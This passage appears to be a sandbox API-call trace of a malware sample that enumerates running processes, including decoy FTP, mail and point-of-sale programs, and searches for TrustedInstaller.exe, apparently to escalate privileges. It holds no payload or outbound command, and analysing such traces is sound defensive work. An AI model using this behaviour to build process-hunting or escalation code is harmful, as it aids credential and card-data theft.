lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.736] CloseHandle (hObject=0xfc) returned 1 [0245.737] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0245.737] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc30) returned 0xfc [0245.737] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" (normalized: "c:\\program files\\microsoft office 15\\absolutetelnet.exe")) returned 0x37 [0245.738] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe") returned="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" [0245.738] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.738] CloseHandle (hObject=0xfc) returned 1 [0245.738] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0245.739] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc38) returned 0xfc [0245.739] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\WindowsPowerShell\\alftp.exe" (normalized: "c:\\program files\\windowspowershell\\alftp.exe")) returned 0x2c [0245.739] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\WindowsPowerShell\\alftp.exe" | out: _Dest="C:\\Program Files\\WindowsPowerShell\\alftp.exe") returned="C:\\Program Files\\WindowsPowerShell\\alftp.exe" [0245.739] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.739] CloseHandle (hObject=0xfc) returned 1 [0245.739] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.740] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc8) returned 0xfc [0245.740] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.740] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x1795c8) returned 1 [0245.740] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" | out: _Dest="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe") returned="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" [0245.740] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.740] CloseHandle (hObject=0xfc) returned 1 [0245.741] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.741] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x0 [0245.741] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xe4c) returned 0xfc [0245.741] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.742] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\audiodg.exe", lpdwSize=0x1795c8) returned 1 [0245.742] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\audiodg.exe" | out: _Dest="C:\\Windows\\System32\\audiodg.exe") returned="C:\\Windows\\System32\\audiodg.exe" [0245.742] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.742] CloseHandle (hObject=0xfc) returned 1 [0245.742] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 1 [0245.743] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0xfc [0245.743] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0245.743] wcscpy (in: _Dest=0x179398, _Source="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" | out: _Dest="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" [0245.743] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.743] CloseHandle (hObject=0xfc) returned 1 [0245.743] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0245.744] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd7c) returned 0xfc [0245.744] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.744] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\servicing\\TrustedInstaller.exe", lpdwSize=0x1795c8) returned 1 [0245.744] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\servicing\\TrustedInstaller.exe" | out: _Dest="C:\\Windows\\servicing\\TrustedInstaller.exe") returned="C:\\Windows\\servicing\\TrustedInstaller.exe" [0245.744] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.744] CloseHandle (hObject=0xfc) returned 1 [0245.745] malloc (_Size=0x11a00) returned 0x1c9a760 [0245.745] free (_Block=0x1c8d3d8) [0245.745] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xed0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdvancedRun.exe")) returned 1 [0245.745] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe0c) returned 0xfc [0245.745] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe")) returned 0x35 [0245.746] wcscpy (in: _Dest=0x179398, _Source="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" | out: _Dest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" [0245.746] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.746] CloseHandle (hObject=0xfc) returned 1 [0245.746] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xed0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdvancedRun.exe")) returned 0 [0245.746] CloseHandle (hObject=0x104) returned 1 [0245.746] _wcsicmp (_String1="", _String2="TrustedInstaller.exe") returned -116 [0245.747] _wcsicmp (_String1="", _String2="TrustedInstaller.exe") returned -116 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\smss.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="smss.exe", _String2="TrustedInstaller.exe") returned -1 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\csrss.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="csrss.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\wininit.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="wininit.exe", _String2="TrustedInstaller.exe") returned 3 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\csrss.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="csrss.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\winlogon.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="winlogon.exe", _String2="TrustedInstaller.exe") returned 3 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\services.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="services.exe", _String2="TrustedInstaller.exe") returned -1 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\lsass.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="lsass.exe", _String2="TrustedInstaller.exe") returned -8 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\lsm.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="lsm.exe", _String2="TrustedInstaller.exe") returned -8 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.747] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0245.747] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0245.748] _wcsicmp (_String1="C:\\Windows\\System32\\dwm.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="dwm.exe", _String2="TrustedInstaller.exe") returned -16 [0245.748] _wcsicmp (_String1="C:\\Windows\\explorer.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="explorer.exe", _String2="TrustedInstaller.exe") returned -15 [0245.748] _wcsicmp (_String1="C:\\Windows\\System32\\spoolsv.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="spoolsv.exe", _String2="TrustedInstaller.exe") returned -1 [0245.748] _wcsicmp (_String1="C:\\Windows\\System32\\taskhost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="taskhost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0245.748] _wcsicmp (_String1="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="OfficeClickToRun.exe", _String2="TrustedInstaller.exe") returned -5 [0245.748] _wcsicmp (_String1="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="WmiPrvSE.exe", _String2="TrustedInstaller.exe") returned 3 [0245.748] _wcsicmp (_String1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="iexplore.exe", _String2="TrustedInstaller.exe") returned -11 [0245.748] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0245.748] _wcsicmp (_String1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="iexplore.exe", _String2="TrustedInstaller.exe") returned -11 [0245.748] _wcsicmp (_String1="C:\\Windows\\System32\\sppsvc.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="sppsvc.exe", _String2="TrustedInstaller.exe") returned -1 [0245.748] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Defender\\linegood.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="linegood.exe", _String2="TrustedInstaller.exe") returned -8 [0245.748] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="no_nothing.exe", _String2="TrustedInstaller.exe") returned -6 [0245.748] _wcsicmp (_String1="C:\\Program Files\\DVD Maker\\form remember evening.exe", _String2="TrustedInstaller.exe") returned -17 [0245.748] _wcsicmp (_String1="form remember evening.exe", _String2="TrustedInstaller.exe") returned -14 [0245.748] _wcsicmp (_String1="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="study-reality-mission.exe", _String2="TrustedInstaller.exe") returned -1 [0245.749] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="field.exe", _String2="TrustedInstaller.exe") returned -14 [0245.749] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="apply-wear-benefit.exe", _String2="TrustedInstaller.exe") returned -19 [0245.749] _wcsicmp (_String1="C:\\Program Files\\Common Files\\law-stay.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="law-stay.exe", _String2="TrustedInstaller.exe") returned -8 [0245.749] _wcsicmp (_String1="C:\\Program Files\\Windows Media Player\\wife_heat.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="wife_heat.exe", _String2="TrustedInstaller.exe") returned 3 [0245.749] _wcsicmp (_String1="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="interview nothing work.exe", _String2="TrustedInstaller.exe") returned -11 [0245.749] _wcsicmp (_String1="C:\\Program Files\\Windows Journal\\your hit sense.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="your hit sense.exe", _String2="TrustedInstaller.exe") returned 5 [0245.749] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="leftparticularly.exe", _String2="TrustedInstaller.exe") returned -8 [0245.749] _wcsicmp (_String1="C:\\Program Files\\Windows Mail\\must-issue.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="must-issue.exe", _String2="TrustedInstaller.exe") returned -7 [0245.749] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="call_order_arrive.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="natural_reach_decide.exe", _String2="TrustedInstaller.exe") returned -6 [0245.749] _wcsicmp (_String1="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="another great.exe", _String2="TrustedInstaller.exe") returned -19 [0245.749] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="bill order.exe", _String2="TrustedInstaller.exe") returned -18 [0245.749] _wcsicmp (_String1="C:\\Program Files\\Reference Assemblies\\large price.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="large price.exe", _String2="TrustedInstaller.exe") returned -8 [0245.749] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe", _String2="TrustedInstaller.exe") returned -17 [0245.749] _wcsicmp (_String1="senior.exe", _String2="TrustedInstaller.exe") returned -1 [0245.749] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="barca.exe", _String2="TrustedInstaller.exe") returned -18 [0245.750] _wcsicmp (_String1="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="bitkinex.exe", _String2="TrustedInstaller.exe") returned -18 [0245.750] _wcsicmp (_String1="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="coreftp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="C:\\Program Files\\Windows Photo Viewer\\far.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="far.exe", _String2="TrustedInstaller.exe") returned -14 [0245.750] _wcsicmp (_String1="C:\\Program Files\\Windows NT\\filezilla.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="filezilla.exe", _String2="TrustedInstaller.exe") returned -14 [0245.750] _wcsicmp (_String1="C:\\Program Files\\Common Files\\flashfxp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="flashfxp.exe", _String2="TrustedInstaller.exe") returned -14 [0245.750] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows NT\\fling.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="fling.exe", _String2="TrustedInstaller.exe") returned -14 [0245.750] _wcsicmp (_String1="C:\\Program Files\\Windows NT\\foxmailincmail.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="foxmailincmail.exe", _String2="TrustedInstaller.exe") returned -14 [0245.750] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="gmailnotifierpro.exe", _String2="TrustedInstaller.exe") returned -13 [0245.750] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="icq.exe", _String2="TrustedInstaller.exe") returned -11 [0245.750] _wcsicmp (_String1="C:\\Program Files\\Windows Journal\\leechftp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="leechftp.exe", _String2="TrustedInstaller.exe") returned -8 [0245.750] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="ncftp.exe", _String2="TrustedInstaller.exe") returned -6 [0245.750] _wcsicmp (_String1="C:\\Program Files\\Common Files\\notepad.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="notepad.exe", _String2="TrustedInstaller.exe") returned -6 [0245.750] _wcsicmp (_String1="C:\\Program Files\\Windows NT\\operamail.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="operamail.exe", _String2="TrustedInstaller.exe") returned -5 [0245.750] _wcsicmp (_String1="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="outlook.exe", _String2="TrustedInstaller.exe") returned -5 [0245.750] _wcsicmp (_String1="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe", _String2="TrustedInstaller.exe") returned -17 [0245.750] _wcsicmp (_String1="pidgin.exe", _String2="TrustedInstaller.exe") returned -4 [0245.751] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.751] _wcsicmp (_String1="scriptftp.exe", _String2="TrustedInstaller.exe") returned -1 [0245.751] _wcsicmp (_String1="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe", _String2="TrustedInstaller.exe") returned -17 [0245.751] _wcsicmp (_String1="skype.exe", _String2="TrustedInstaller.exe") returned -1 [0245.751] _wcsicmp (_String1="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.751] _wcsicmp (_String1="smartftp.exe", _String2="TrustedInstaller.exe") returned -1 [0245.751] _wcsicmp (_String1="C:\\Program Files (x86)\\Common Files\\thunderbird.exe", _String2="TrustedInstaller.exe") returned -17 [0245.751] _wcsicmp (_String1="thunderbird.exe", _String2="TrustedInstaller.exe") returned -10 [0245.751] _wcsicmp (_String1="C:\\Program Files (x86)\\Common Files\\trillian.exe", _String2="TrustedInstaller.exe") returned -17 [0245.751] _wcsicmp (_String1="trillian.exe", _String2="TrustedInstaller.exe") returned -12 [0245.752] _wcsicmp (_String1="C:\\Program Files\\Windows Portable Devices\\webdrive.exe", _String2="TrustedInstaller.exe") returned -17 [0245.752] _wcsicmp (_String1="webdrive.exe", _String2="TrustedInstaller.exe") returned 3 [0245.752] _wcsicmp (_String1="C:\\Program Files\\Windows Journal\\whatsapp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.752] _wcsicmp (_String1="whatsapp.exe", _String2="TrustedInstaller.exe") returned 3 [0245.752] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe", _String2="TrustedInstaller.exe") returned -17 [0245.752] _wcsicmp (_String1="winscp.exe", _String2="TrustedInstaller.exe") returned 3 [0245.752] _wcsicmp (_String1="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe", _String2="TrustedInstaller.exe") returned -17 [0245.752] _wcsicmp (_String1="yahoomessenger.exe", _String2="TrustedInstaller.exe") returned 5 [0245.753] _wcsicmp (_String1="C:\\Program Files\\Internet Explorer\\active-charge.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="active-charge.exe", _String2="TrustedInstaller.exe") returned -19 [0245.753] _wcsicmp (_String1="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="accupos.exe", _String2="TrustedInstaller.exe") returned -19 [0245.753] _wcsicmp (_String1="C:\\Program Files\\DVD Maker\\afr38.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="afr38.exe", _String2="TrustedInstaller.exe") returned -19 [0245.753] _wcsicmp (_String1="C:\\Program Files (x86)\\MSBuild\\aldelo.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="aldelo.exe", _String2="TrustedInstaller.exe") returned -19 [0245.753] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="ccv_server.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="centralcreditcard.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="creditservice.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="C:\\Program Files\\DVD Maker\\edcsvr.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="edcsvr.exe", _String2="TrustedInstaller.exe") returned -15 [0245.753] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="fpos.exe", _String2="TrustedInstaller.exe") returned -14 [0245.753] _wcsicmp (_String1="C:\\Program Files\\Windows Sidebar\\isspos.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="isspos.exe", _String2="TrustedInstaller.exe") returned -11 [0245.753] _wcsicmp (_String1="C:\\Program Files\\MSBuild\\mxslipstream.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="mxslipstream.exe", _String2="TrustedInstaller.exe") returned -7 [0245.753] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp (_String1="omnipos.exe", _String2="TrustedInstaller.exe") returned -5 [0245.753] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe", _String2="TrustedInstaller.exe") returned -17 [0245.753] _wcsicmp 